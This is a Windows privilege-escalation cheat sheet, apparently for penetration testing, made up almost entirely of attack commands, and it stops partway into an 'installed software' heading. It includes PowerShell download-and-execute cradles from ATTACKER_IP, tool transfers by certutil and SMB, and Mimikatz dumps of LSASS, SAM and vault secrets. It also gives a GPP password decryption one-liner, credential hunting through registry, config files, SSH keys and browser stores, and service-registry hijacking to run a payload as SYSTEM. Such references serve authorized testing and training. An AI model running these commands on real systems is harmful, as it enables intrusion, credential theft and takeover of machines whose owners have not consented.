Windows Privilege Escalation (A to Z)

# ==========================================
# AUTOMATED ENUMERATION TOOLS
# ==========================================

# WinPEAS — Most Comprehensive (USE THIS FIRST)
# Download: https://github.com/carlospolop/PEASS-ng/releases
.\winPEASany.exe                    # Auto-detect arch
.\winPEASany.exe quiet              # Less noise
.\winPEASany.exe log                # Save to file
.\winPEASany.exe > C:\Windows\Temp\wp.txt  # Save output

# From Kali:
(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:8080/winPEAS.ps1') | IEX
# OR:
IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:8080/winPEAS.ps1')

# PowerUp — Service/Registry focused (use when stuck)
# Download: https://github.com/PowerShellMafia/PowerSploit
. .\PowerUp.ps1
Invoke-AllChecks                   # Run all checks
Invoke-AllChecks | Out-File -Encoding ASCII checks.txt

# Key PowerUp functions:
Get-ServiceUnquoted                 # Unquoted service paths
Get-ModifiableServiceFile           # Writable service binaries
Get-ModifiableService               # Writable service configs
Get-RegistryAlwaysInstallElevated   # AIE check
Get-RegistryAutoLogon               # Autologon creds
Get-ModifiableRegistryAutoRun       # Writable autorun
Get-ModifiableScheduledTaskFile     # Writable sched tasks
Get-UnattendedInstallFile           # Unattend.xml creds
Get-WebConfig                       # Web.config creds
Get-ApplicationHost                 # AppHost creds
Get-SiteListPassword                # McAfee SiteList creds
Get-CachedGPPPassword               # Group Policy preferences
Invoke-ServiceAbuse                 # Auto-exploit service
Invoke-AllChecks                    # Run everything

# Seatbelt — Security config / credential audit
.\Seatbelt.exe -group=all           # Everything
.\Seatbelt.exe -group=system        # System info only
.\Seatbelt.exe -group=user          # User-focused only
.\Seatbelt.exe CredEnum             # Credential enum
.\Seatbelt.exe WindowsCredentialFiles  # Credential files
.\Seatbelt.exe SavedRDPConnections  # Saved RDP sessions

# SharpUp — C# port of PowerUp (better AV evasion)
.\SharpUp.exe audit                 # Full audit
.\SharpUp.exe HijackablePaths       # PATH hijacking

# Watson — Windows CVE suggestor (replaces windows-exploit-suggester)
.\Watson.exe

# Windows Exploit Suggester (older OS — Win XP/7/2008)
# On Kali:
python3 windows-exploit-suggester.py --update
systeminfo > systeminfo.txt         # On target
python3 windows-exploit-suggester.py --systeminfo systeminfo.txt \
    --database 2024-xx-xx-mssb.xls

# AccessChk (Sysinternals — check object permissions)
.\accesschk64.exe -wuvc * /accepteula        # All writable services
.\accesschk64.exe -wuvd "C:\Program Files"  # Writable directories
.\accesschk64.exe -wuvc daclsvc /accepteula # Specific service
.\accesschk64.exe -kvwsu "Everyone" HKLM\SYSTEM\CurrentControlSet\Services /accepteula
.\accesschk64.exe -wus "Everyone" C:\        # Writable files for Everyone

# Mimikatz
.\mimikatz.exe
privilege::debug                    # Get SeDebugPrivilege
sekurlsa::logonpasswords            # Dump LSASS creds
sekurlsa::wdigest                   # WDigest plaintext (older systems)
lsadump::sam                        # Dump SAM (need SYSTEM first)
lsadump::secrets                    # LSA secrets
lsadump::cache                      # Cached domain logons
token::elevate                      # Impersonate SYSTEM token
token::list                         # List all tokens

# Rubeus — Kerberos attacks
.\Rubeus.exe dump /nowrap           # Dump tickets
.\Rubeus.exe triage                 # List tickets

# SharpHound / BloodHound
.\SharpHound.exe -c all             # Full collection
.\SharpHound.exe -c all --zippassword pass  # Password protected zip

# ==========================================
# FILE TRANSFER — UPLOAD TOOLS
# ==========================================

# Attacker — host files:
python3 -m http.server 8080

# Target — download tools:
(New-Object Net.WebClient).DownloadFile('http://ATTACKER_IP:8080/winPEASany.exe','C:\Windows\Temp\wp.exe')
iwr http://ATTACKER_IP:8080/winPEASany.exe -OutFile C:\Windows\Temp\wp.exe
certutil -urlcache -split -f http://ATTACKER_IP:8080/winPEASany.exe C:\Windows\Temp\wp.exe
bitsadmin /transfer myJob http://ATTACKER_IP:8080/wp.exe C:\Windows\Temp\wp.exe

# SMB (run directly without downloading!):
# Attacker: sudo impacket-smbserver share . -smb2support -username user -password pass
# Target:
net use \\ATTACKER_IP\share /user:user pass
copy \\ATTACKER_IP\share\wp.exe C:\Windows\Temp\wp.exe
\\ATTACKER_IP\share\wp.exe      # Run directly!

:: ==========================================
:: THE FIRST 60 SECONDS ON EVERY WINDOWS SHELL
:: ==========================================

:: Who are we?
whoami
whoami /all          :: User + ALL privileges + group memberships + integrity level

:: Where are we?
hostname
systeminfo           :: OS, version, hotfixes, architecture

:: What can we do?
whoami /priv         :: Privileges — look for SeImpersonate, SeDebug, SeBackup!
whoami /groups       :: Group memberships — Administrators? Backup Operators?

:: Network position
ipconfig /all        :: ALL interfaces — look for new subnets for pivoting!
route print          :: Routing table
netstat -ano         :: Active connections + listening ports (internal services!)

:: Quick wins check
cmdkey /list         :: Saved credentials → runas!
net use              :: Mapped network drives
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s 2>nul :: PuTTY saved sessions
type C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt 2>nul :: PS history!

:: Scheduled tasks (quick check)
schtasks /query /fo LIST /v 2>nul | findstr /i "Task Name\|Run As User\|Task To Run\|Next Run Time"

:: Environment
set                  :: Environment variables — look for paths, credentials
echo %PATH%          :: PATH variable — writable dirs?
echo %USERPROFILE%
echo %APPDATA%
echo %TEMP%

# PowerShell version (important — PS v5+ has ScriptBlock logging)
$PSVersionTable
$PSVersionTable.PSVersion

# Execution policy (needs bypass?)
Get-ExecutionPolicy
Get-ExecutionPolicy -List

# All environment variables
Get-ChildItem Env: | sort Name

# Current directory + drive
Get-Location
Get-PSDrive | where {$_.Used -gt 0}

# AV / Defender status (know your restrictions!)
Get-MpComputerStatus 2>$null | select AMRunningMode, RealTimeProtectionEnabled,
    IoavProtectionEnabled, AntivirusEnabled
sc query WinDefend
sc query "Security Center"

# Firewall state
netsh advfirewall show allprofiles state
Get-NetFirewallProfile | select Name, Enabled

# AMSI check
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils') | fl *

:: ==========================================
:: CURRENT USER DETAIL
:: ==========================================
whoami /all
whoami /priv
whoami /groups
whoami /logonid

:: ==========================================
:: ALL LOCAL USERS
:: ==========================================
net user
net user %USERNAME%                :: Details on current user
net user Administrator             :: Admin account status
net user Guest                     :: Guest enabled?

:: User last login, password age, etc.
wmic useraccount get name,sid,disabled,passwordexpires,passwordrequired

:: ==========================================
:: ALL LOCAL GROUPS
:: ==========================================
net localgroup
net localgroup Administrators      :: Who is local admin?
net localgroup "Remote Desktop Users"
net localgroup "Backup Operators"  :: Can read/write any file!
net localgroup "Remote Management Users"
net localgroup "Distributed COM Users"

:: ==========================================
:: DOMAIN MEMBERSHIP (if on domain)
:: ==========================================
net accounts                       :: Password policy
systeminfo | findstr /B /C:"Domain"
wmic computersystem get domain,partofdomainn,username
net user /domain %USERNAME%        :: Your domain user details
net group /domain                  :: Domain groups
net group "Domain Admins" /domain  :: Who is DA?

:: Logged on users right now
qwinsta                            :: Active sessions
query session
query user

:: User directories (look for other users = other attack targets)
dir C:\Users\
dir C:\Users\ /b

# Full current user detail
[System.Security.Principal.WindowsIdentity]::GetCurrent()

# Check if we are local admin (returns True/False)
([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole(
    [Security.Principal.WindowsBuiltInRole]::Administrator)

# All local users with detailed info
Get-LocalUser | select Name, Enabled, LastLogon, PasswordLastSet,
    PasswordRequired, PasswordExpires, SID | Format-Table

# All local groups
Get-LocalGroup | Format-Table

# Members of specific groups
Get-LocalGroupMember -Group "Administrators"
Get-LocalGroupMember -Group "Remote Desktop Users"
Get-LocalGroupMember -Group "Backup Operators"
Get-LocalGroupMember -Group "Remote Management Users"

# Password policy
Get-LocalUser | select Name, PasswordNeverExpires, PasswordRequired,
    PasswordLastSet | Format-Table

# Domain users (if joined)
Get-ADUser -Filter * -Properties * | select Name, SamAccountName,
    MemberOf, LastLogonDate | Format-Table   # Needs RSAT

:: ==========================================
:: OS DETAILS
:: ==========================================
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
systeminfo | findstr /B /C:"Hotfix(s)" /C:"Installed"

:: Build number specifically
[System.Environment]::OSVersion    :: In PowerShell
wmic os get BuildNumber,Caption,OSArchitecture,Version /value

:: Architecture
echo %PROCESSOR_ARCHITECTURE%
wmic os get osarchitecture

:: ==========================================
:: INSTALLED HOTFIXES (CRITICAL FOR CVEs!)
:: ==========================================
wmic qfe list brief /format:table
wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB"

:: PowerShell — patches with dates
Get-HotFix | sort InstalledOn -Descending | select HotFixID, InstalledOn, Description
Get-HotFix | where {$_.HotFixID -eq "KB5000802"}   :: Check specific KB

:: Missing patches → Google: "[OS version] + privilege escalation + unpatched"
:: Key CVEs by OS:
:: Windows 10 pre-1803  → MS16-032, MS16-135
:: Server 2008 R2       → MS15-051, MS14-058
:: Windows 7            → MS15-051, MS16-032, DirtyCow equivalent
:: Server 2019/Win10    → PrintNightmare, HiveNightmare, Polkit?

:: ==========================================
:: DRIVES AND STORAGE
:: ==========================================
wmic logicaldisk get DeviceID,FileSystem,FreeSpace,Size,VolumeName
fsutil fsinfo drives
subst                               :: Mapped drives

:: Hidden shares (including admin shares)
net share
wmic share list brief

:: ==========================================
:: ENVIRONMENT DETAILS
:: ==========================================
set
echo %SystemRoot%
echo %SystemDrive%
echo %ProgramFiles%
echo %ProgramFiles(x86)%
echo %CommonProgramFiles%
echo %APPDATA%
echo %LOCALAPPDATA%
echo %TEMP%
echo %TMP%
echo %HOMEDRIVE%
echo %HOMEPATH%
echo %PATH%                         :: PATH hijacking possibility!

# Check if PowerShell is running as 64-bit (important for some exploits)
[Environment]::Is64BitProcess
[Environment]::Is64BitOperatingSystem

# Get all env variables in structured format
[System.Environment]::GetEnvironmentVariables() | Out-String

# PATH variable — check for writable directories
$env:PATH.split(';') | ForEach-Object {
    $p = $_
    try {
        [io.file]::OpenWrite("$p\pentest_w.txt").close()
        Remove-Item "$p\pentest_w.txt"
        Write-Host "[WRITABLE PATH] $p" -ForegroundColor Red
    } catch {}
}
# WRITABLE PATH = potential PATH hijacking for privesc!

# Check if WoW64 (32-bit process on 64-bit OS)
$env:PROCESSOR_ARCHITEW6432

:: ==========================================
:: PRIVILEGE LISTING
:: ==========================================
whoami /priv

:: ==========================================
:: PRIVILEGE MEANINGS (KEY ONES TO EXPLOIT)
:: ==========================================

:: ==========================================
:: TOKEN MANIPULATION COMMANDS
:: ==========================================

:: List all available access tokens (Incognito)
.\incognito.exe list_tokens -u
.\incognito.exe list_tokens -g

:: Impersonate any listed token (if high priv available)
.\incognito.exe execute -c "DOMAIN\Administrator" cmd.exe
.\incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe

:: ==========================================
:: CHECK GROUP MEMBERSHIP FOR SPECIAL PRIVS
:: ==========================================

:: These GROUPS give special abilities:
whoami /groups | findstr /i "Backup\|Print\|Remote\|Replicat\|Admin\|Schema\|Account"

:: Backup Operators      → SeBackupPrivilege + SeRestorePrivilege → dump SAM!
:: Print Operators       → SeLoadDriverPrivilege on older systems
:: Server Operators      → Modify services
:: Account Operators     → Manage user accounts in AD
:: Schema Admins         → Modify AD schema (enterprise level!)
:: Exchange Windows Perm → WriteDACL on domain → DCSync!
:: DNS Admins            → Load DLL as DNS service → SYSTEM!

# List token privileges in structured format
$currentPrincipal = New-Object Security.Principal.WindowsPrincipal(
    [Security.Principal.WindowsIdentity]::GetCurrent())
$currentPrincipal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)

# Check each key privilege:
function Check-Privilege {
    param($privName)
    $result = whoami /priv 2>&1 | Select-String $privName
    if ($result) { Write-Host "[FOUND] $privName" -ForegroundColor Red }
}

Check-Privilege "SeImpersonatePrivilege"
Check-Privilege "SeAssignPrimaryTokenPrivilege"
Check-Privilege "SeBackupPrivilege"
Check-Privilege "SeRestorePrivilege"
Check-Privilege "SeTakeOwnershipPrivilege"
Check-Privilege "SeDebugPrivilege"
Check-Privilege "SeLoadDriverPrivilege"

:: ==========================================
:: LIST ALL SERVICES
:: ==========================================

:: Basic list
sc query state= all
sc query type= all state= all

:: Detailed with start type
wmic service list brief
wmic service get name,displayname,pathname,startmode,state | format-table /auto

:: Services running as SYSTEM or high-priv accounts (HIGH VALUE!)
wmic service get name,startname,state | findstr /i "LocalSystem\|LocalService\|NetworkService\|Administrator"

:: PowerShell service list
Get-Service
Get-WmiObject Win32_Service | select Name, DisplayName, PathName, StartName, State
Get-CimInstance -ClassName Win32_Service | select Name, PathName, StartName, State |
    Where-Object {$_.StartName -notlike "NT AUTHORITY\*"} | Format-Table

:: ==========================================
:: UNQUOTED SERVICE PATHS (BIG ONE!)
:: ==========================================

:: Find unquoted paths with spaces:
wmic service get name,displayname,pathname,startmode 2>nul |
    findstr /i "auto" | findstr /i /v """" | findstr /i /v "C:\Windows"

:: OR:
wmic service get name,pathname,startmode 2>nul | findstr /v "C:\\Windows\\"

:: PowerShell — better filter:
Get-CimInstance -ClassName Win32_Service | Where-Object {
    $_.PathName -notmatch '^"' -and
    $_.PathName -match ' ' -and
    $_.PathName -notmatch '^C:\\Windows'
} | select Name, PathName, StartName, State

:: Manual check — if output like:
:: C:\Program Files\My Service\app.exe
:: (no quotes, has space) → VULNERABLE!
:: Windows will try:
:: C:\Program.exe        ← check if this dir is writable!
:: C:\Program Files\My.exe
:: C:\Program Files\My Service\app.exe

:: Check if directories are writable:
icacls "C:\Program Files\My Service"
icacls "C:\"
icacls "C:\Program Files"

:: ==========================================
:: WEAK SERVICE PERMISSIONS (HIGH VALUE!)
:: ==========================================

:: Use accesschk to find services everyone/users can modify:
.\accesschk64.exe /accepteula -uwcqv "Authenticated Users" *
.\accesschk64.exe /accepteula -uwcqv "Everyone" *
.\accesschk64.exe /accepteula -uwcqv "BUILTIN\Users" *
.\accesschk64.exe /accepteula -uwcqv %USERNAME% *

:: Look for: SERVICE_ALL_ACCESS, SERVICE_CHANGE_CONFIG, WRITE_DAC, WRITE_OWNER
:: on services that run as LocalSystem!

:: Check specific service:
.\accesschk64.exe /accepteula -ucqv daclsvc
sc qc daclsvc                  :: Get service config
sc query daclsvc               :: Get service status

:: ==========================================
:: WRITABLE SERVICE BINARY
:: ==========================================

:: Check permissions on service executable:
wmic service get name,pathname 2>nul | findstr /i /v "C:\\Windows\\"
:: Then for each:
icacls "C:\path\to\service.exe"
:: Look for: (F) Full, (M) Modify, (W) Write for current user or Everyone/Users

:: PowerShell — check all non-system service binaries:
Get-CimInstance -ClassName Win32_Service |
    Where-Object {$_.PathName -notmatch 'C:\\Windows'} | ForEach-Object {
        $path = ($_.PathName -replace '"','').Split(' ')
        $acl = Get-Acl $path -ErrorAction SilentlyContinue
        if ($acl) {
            $acl.Access | Where-Object {
                $_.FileSystemRights -match 'FullControl|Modify|Write' -and
                $_.IdentityReference -match 'Everyone|Users|Authenticated'
            } | ForEach-Object {
                Write-Host "[WRITABLE SERVICE BIN] $path — $($_.IdentityReference)" -ForegroundColor Red
            }
        }
    }

:: ==========================================
:: SERVICE REGISTRY KEYS (Weak ACLs)
:: ==========================================

:: Check if service registry keys are writable:
Get-Acl HKLM:\SYSTEM\CurrentControlSet\Services\SERVICENAME | fl *
.\accesschk64.exe /accepteula -kvwsu "Everyone" HKLM\SYSTEM\CurrentControlSet\Services
.\accesschk64.exe /accepteula -kvwsu "BUILTIN\Users" HKLM\SYSTEM\CurrentControlSet\Services

:: If writable → change ImagePath to your payload!
reg query HKLM\SYSTEM\CurrentControlSet\Services\SERVICENAME
reg add HKLM\SYSTEM\CurrentControlSet\Services\SERVICENAME /v ImagePath \
    /t REG_EXPAND_SZ /d "C:\Windows\Temp\shell.exe" /f
sc start SERVICENAME             :: Trigger the payload!

:: ==========================================
:: LIST ALL SCHEDULED TASKS
:: ==========================================

:: All tasks verbose output:
schtasks /query /fo LIST /v

:: Filtered — look for non-Microsoft tasks:
schtasks /query /fo LIST /v 2>nul | findstr /i "Task Name\|Run As\|Task To Run\|Next Run Time\|Status"

:: PowerShell — structured:
Get-ScheduledTask | Where-Object {$_.TaskPath -notlike "\Microsoft\*"} |
    select TaskName, TaskPath, State | Format-Table

:: Detailed info on non-Microsoft tasks:
Get-ScheduledTask | Where-Object {$_.TaskPath -notlike "\Microsoft\*"} | ForEach-Object {
    $task = $_
    $info = Get-ScheduledTaskInfo $task.TaskName -ErrorAction SilentlyContinue
    Write-Host "Task: $($task.TaskName)"
    Write-Host "  Run As: $($task.Principal.UserId)"
    Write-Host "  Actions: $($task.Actions.Execute)"
    Write-Host "  Arguments: $($task.Actions.Arguments)"
    Write-Host "  Next Run: $($info.NextRunTime)"
    Write-Host ""
}

:: ==========================================
:: CHECK SCHEDULED TASK FILE PERMISSIONS
:: ==========================================

:: If task runs as SYSTEM and calls a script/exe you can write → SYSTEM shell!

:: Get executable paths:
schtasks /query /fo LIST /v | findstr "Task To Run"
:: Then check permissions on each:
icacls "C:\path\to\task_script.bat"
icacls "C:\path\to\task_binary.exe"

:: Also check parent directories:
icacls "C:\path\to\"

:: PowerShell — check all task file permissions:
Get-ScheduledTask | Where-Object {$_.TaskPath -notlike "\Microsoft\*"} | ForEach-Object {
    $_.Actions | Where-Object {$_.Execute} | ForEach-Object {
        $path = $_.Execute
        if (Test-Path $path) {
            $acl = Get-Acl $path
            $acl.Access | Where-Object {
                $_.FileSystemRights -match 'Write|Modify|FullControl'
            } | ForEach-Object {
                Write-Host "[WRITABLE TASK] $path → $($_.IdentityReference)" -ForegroundColor Red
            }
        }
    }
}

:: ==========================================
:: AUTOLOGON CREDENTIALS (BIG WIN!)
:: ==========================================

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
:: Look for: DefaultUserName, DefaultPassword, DefaultDomainName
:: → Cleartext credentials stored in registry!
:: → Check DefaultPassword — it's literally the password!

reg query "HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

:: ==========================================
:: ALWAYSINSTALLELEVATED (CHECK BOTH KEYS!)
:: ==========================================

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
:: BOTH must return 0x1 for exploitation!

:: ==========================================
:: SAVED CREDENTIALS (putty, etc)
:: ==========================================

:: PuTTY saved sessions:
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s
:: Look for: HostName, UserName, PublicKeyFile

:: WinSCP:
reg query "HKCU\Software\Martin Prikryl\WinSCP 2\Sessions" /s

:: FileZilla:
type "%APPDATA%\FileZilla\sitemanager.xml" 2>nul

:: MobaXterm:
reg query "HKCU\Software\MobaXterm\MobaFont\Passwords" 2>nul

:: ==========================================
:: AUTORUN PROGRAMS (WRITABLE?)
:: ==========================================

reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
reg query HKLM\SYSTEM\CurrentControlSet\Services

:: PowerShell — Check and test if autoruns are writable:
$autorunPaths = @(
    "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
    "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
)
foreach ($path in $autorunPaths) {
    if (Test-Path $path) {
        $values = Get-ItemProperty $path
        $values.PSObject.Properties | Where-Object {$_.Name -notlike "PS*"} | ForEach-Object {
            $binPath = $_.Value -replace '"','' | ForEach-Object {$_ -split ' ' | Select-Object -First 1}
            $acl = Get-Acl $binPath -ErrorAction SilentlyContinue
            if ($acl) {
                Write-Host "AutoRun: $($_.Name) → $($_.Value)"
                icacls $binPath 2>$null
            }
        }
    }
}

:: ==========================================
:: SENSITIVE DATA IN REGISTRY
:: ==========================================

:: Search for passwords in registry:
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
reg query HKLM /f passwd /t REG_SZ /s
reg query HKLM /f pwd /t REG_SZ /s

:: VNC saved passwords:
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SOFTWARE\RealVNC\WinVNC4" /v password
reg query "HKCU\Software\TightVNC\Server"
reg query "HKLM\SOFTWARE\TightVNC\Server" /v Password
reg query "HKLM\SOFTWARE\TightVNC\Server" /v ControlPassword

:: SNMP community strings:
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP"

:: Windows autologon (full):
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName

:: WSUS config (sometimes has proxy creds):
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate"

:: ==========================================
:: GROUP POLICY PREFERENCES (GPP) PASSWORDS
:: ==========================================

:: Old GPP stored encrypted passwords in SYSVOL
:: Key: AES key is PUBLIC → can be decrypted by anyone!

:: Check SYSVOL for Groups.xml files:
findstr /s /i "cpassword" \\%LOGONSERVER%\SYSVOL\*.xml 2>nul
findstr /s /i "cpassword" C:\Windows\SYSVOL\*.xml 2>nul
dir /s /b \\%LOGONSERVER%\SYSVOL\*.xml 2>nul

:: Files to check:
:: Groups.xml, Services.xml, Scheduledtasks.xml, DataSources.xml, Printers.xml, Drives.xml

:: Decrypt cpassword (from Kali/Linux):
python3 -c "import base64; from Crypto.Cipher import AES; \
    key=b'\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b'; \
    enc=base64.b64decode('<CPASSWORD>'); \
    cipher=AES.new(key, AES.MODE_CBC, enc[:16]); \
    print(cipher.decrypt(enc[16:]))"

:: From Kali: gpp-decrypt '<CPASSWORD>'

:: PowerView:
Get-GPPPassword           :: Requires domain auth

:: ==========================================
:: CREDENTIAL HUNTING — FILES
:: ==========================================

:: Search for files containing passwords:
findstr /si "password" *.xml *.ini *.txt *.config *.bat *.ps1 2>nul
findstr /si "password" C:\Users\%USERNAME%\*.* 2>nul
dir /s /b /a C:\*password* 2>nul
dir /s /b /a C:\*credentials* 2>nul
dir /s /b /a C:\*secret* 2>nul

:: Recursive content search:
findstr /spin "password" C:\*.txt 2>nul
findstr /spin "password" C:\*.xml 2>nul
findstr /spin "password" C:\*.ini 2>nul
findstr /spin "password" C:\*.config 2>nul

:: PowerShell — recursive search (more reliable):
Get-ChildItem C:\ -Recurse -Force -Include *.txt,*.xml,*.ini,*.config,*.bat,*.ps1 2>$null |
    Select-String -Pattern "password|passwd|pwd|credentials|secret" -ErrorAction SilentlyContinue |
    select Path, LineNumber, Line | Format-Table -AutoSize

:: ==========================================
:: HIGH-VALUE FILES TO CHECK
:: ==========================================

:: Web server configs:
type C:\Windows\System32\inetsrv\config\applicationHost.config 2>nul
type C:\inetpub\wwwroot\web.config 2>nul
type C:\inetpub\wwwroot\*.config 2>nul

:: Unattended install files — OFTEN HAS PASSWORDS!
type C:\Windows\sysprep\sysprep.xml 2>nul
type C:\Windows\sysprep\sysprep.inf 2>nul
type C:\Windows\sysprep.inf 2>nul
type C:\unattend.xml 2>nul
type C:\unattend.txt 2>nul
type C:\autounattend.xml 2>nul
type C:\Windows\Panther\Unattend.xml 2>nul
type C:\Windows\Panther\Unattended.xml 2>nul
type C:\Windows\Panther\Unattend\Unattended.xml 2>nul
type C:\Windows\System32\Sysprep\unattend.xml 2>nul

:: SAM/SYSTEM/SECURITY (need SYSTEM to read live copies)
:: But BACKUPS might be readable!
type C:\Windows\repair\SAM 2>nul
type C:\Windows\repair\SYSTEM 2>nul
type C:\Windows\repair\SECURITY 2>nul
dir C:\Windows\repair\ 2>nul

:: Volume Shadow Copy backups:
dir \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\ 2>nul
:: (If accessible → copy SAM/SYSTEM from shadow copy → offline crack!)

:: McAfee SiteList.xml (cleartext or base64 encoded passwords!):
dir /s /b C:\*SiteList.xml* 2>nul
type "C:\ProgramData\McAfee\Common Framework\SiteList.xml" 2>nul

:: Ansible/DevOps:
dir /s /b C:\*.vault 2>nul
dir /s /b C:\*vault.yml 2>nul

:: SSH keys:
dir /s /b C:\Users\%USERNAME%\.ssh\ 2>nul
type C:\Users\%USERNAME%\.ssh\id_rsa 2>nul
dir /s /b C:\*id_rsa* 2>nul
dir /s /b C:\*.pem 2>nul
dir /s /b C:\*.ppk 2>nul          :: PuTTY private keys!

:: RDP saved passwords:
dir /s /b C:\Users\%USERNAME%\AppData\Local\Microsoft\Terminal Server Client\Cache\ 2>nul

:: PowerShell history (GOLD!):
type C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt 2>nul
dir /s /b C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ 2>nul

:: All users' PS history:
foreach ($user in (Get-ChildItem "C:\Users" -Directory)) {
    $hist = "$($user.FullName)\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
    if (Test-Path $hist) { Write-Host "=== $($user.Name) ==="; Get-Content $hist }
}

:: ==========================================
:: WINDOWS CREDENTIAL MANAGER / VAULT
:: ==========================================

:: List stored credentials:
cmdkey /list
:: Look for: Target, User, Type — especially DOMAIN credentials!

:: If credentials stored → use with runas:
runas /savecred /user:Administrator "cmd.exe /c whoami > C:\Windows\Temp\out.txt"
runas /savecred /user:DOMAIN\user "C:\Windows\Temp\shell.exe"

:: Vault passwords (Windows Credential Manager):
.\mimikatz.exe "vault::list" exit
.\mimikatz.exe "vault::cred /patch" exit

:: Windows Credentials API dump:
.\Seatbelt.exe WindowsVault
.\Seatbelt.exe WindowsCredentialFiles

:: ==========================================
:: BROWSER CREDENTIALS
:: ==========================================

:: Chrome passwords:
type "C:\Users\%USERNAME%\AppData\Local\Google\Chrome\User Data\Default\Login Data"
:: Decrypt with: SharpChrome / HackBrowserData

:: Firefox passwords:
dir /b "C:\Users\%USERNAME%\AppData\Roaming\Mozilla\Firefox\Profiles\"
:: files: logins.json + key4.db → decrypt with firepwd.py

:: IE/Edge credentials:
.\Seatbelt.exe IEUrls
.\mimikatz.exe "dpapi::chrome /in:'C:\Users\...\Login Data' /unprotect" exit

:: ==========================================
:: DATABASE CONNECTION STRINGS
:: ==========================================

findstr /si "connectionString\|data source\|server=\|uid=\|password=" *.config *.xml *.txt 2>nul

dir /s /b C:\*web.config* 2>nul
dir /s /b C:\*app.config* 2>nul
dir /s /b C:\*database.php* 2>nul
dir /s /b C:\*db.ini* 2>nul
dir /s /b C:\*config.php* 2>nul

:: IIS Application Host:
type C:\Windows\System32\inetsrv\config\applicationHost.config 2>nul | findstr "userName\|password"

:: ==========================================
:: RECENT FILES AND JUMPLISTS
:: ==========================================

:: Recently opened files (useful to understand what user does):
dir "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Recent" /b /a 2>nul

:: Sticky notes (might have passwords!):
type "C:\Users\%USERNAME%\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite" 2>nul

:: Interesting files in common locations:
dir C:\Users\%USERNAME%\Desktop /b /a 2>nul
dir C:\Users\%USERNAME%\Documents /b /a 2>nul
dir C:\Users\%USERNAME%\Downloads /b /a 2>nul
dir C:\ /b /a 2>nul               :: Root of C: — often has interesting files!
dir C:\Temp /b /a 2>nul
dir C:\Windows\Temp /b /a 2>nul

:: ==========================================
:: NETWORK CONFIGURATION
:: ==========================================

ipconfig /all                      :: ALL adapters — look for new subnets!
route print                        :: Routing table
arp -a                             :: ARP cache → other hosts on network

:: NEW SUBNETS = pivot opportunity!
:: If you see 192.168.x.x or 10.x.x.x → setup tunnel → scan internal!

:: DNS configuration:
ipconfig /displaydns               :: DNS cache → hostnames of other machines!
nslookup -type=any domain.local DC_IP  :: Zone info

:: ==========================================
:: OPEN PORTS AND CONNECTIONS
:: ==========================================

netstat -ano                       :: All connections with PIDs
netstat -anob                      :: With process names (needs admin usually)

:: Look for:
:: LISTENING on 127.0.0.1 → internal-only services (forward them!)
:: ESTABLISHED → active connections → pivot hosts
:: 127.0.0.1:3306 → MySQL running locally
:: 127.0.0.1:5432 → PostgreSQL locally
:: 127.0.0.1:6379 → Redis locally
:: 127.0.0.1:8080 → Internal web app!

:: Map PIDs to processes:
tasklist /FI "PID eq <PID>"
Get-Process -Id <PID>

:: ==========================================
:: FIREWALL STATUS
:: ==========================================

netsh firewall show state
netsh firewall show config
netsh advfirewall show allprofiles state
netsh advfirewall show allprofiles

:: ==========================================
:: HOSTS FILE AND DNS
:: ==========================================

type C:\Windows\System32\drivers\etc\hosts
type C:\Windows\System32\drivers\etc\networks

:: ==========================================
:: SHARES — ACCESSIBLE BY CURRENT USER?
:: ==========================================

net share                          :: Shares on this machine
net use                            :: Connected network drives
net view \\localhost               :: Shares on localhost
net view /domain                   :: All computers in domain

:: List domain computers:
net view /domain:DOMAIN

:: ==========================================
:: INSTALLED SOFTWARE
